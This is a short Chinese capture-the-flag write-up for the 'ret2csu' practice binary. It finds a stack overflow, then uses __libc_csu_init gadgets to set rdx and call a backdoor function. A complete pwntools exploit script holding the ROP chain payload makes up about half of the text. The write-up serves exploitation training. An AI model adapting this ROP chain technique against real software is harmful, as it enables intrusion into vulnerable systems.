先checksec一波,no canry ,no pie
从IDA可以看到程序存在栈溢出漏洞和一个后门函数
但是这个后门函数需要三个参数,a1,a2随意,a3需要为0xdeadcafebabebeef
,找一下gadget
并没有如pop rdx , mov rdx
的gadget,这个时候,我们可以利用__libc_csu_init
中的gadget
可以控制 r15,r14,r13
的值 来达到控制 rdx,rsi,rdi
的目的,这里因为有一个坑,setvbuf
函数在调用的时候会将rdx赋值为0xffffffff
,这样的话就不能成功调用ret2win了,所以找一个初始化函数调用一下
exp:
#-*-coding:utf-8-*-
from pwn import *
p = process('./ret2csu')
context.log_level = 'debug'
init = 0x600E10 #初始化函数地址
rop_1 = 0x400880
rop_2 = 0x40089a
ret2win = 0x4007B1
payload = 0x20*'a'
payload += p64(0) #rbp
payload += p64(rop_2)
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(init) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(0xdeadcafebabebeef) #r15
payload += p64(rop_1)
payload += p64(0) #add rsp,8可以理解为pop操作,但是没有pop到寄存器,而有丢弃掉
payload += p64(0) #rbx
payload += p64(0) #rbp
payload += p64(0) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(0) #r15
payload += p64(ret2win)
p.sendline(payload)
p.interactive()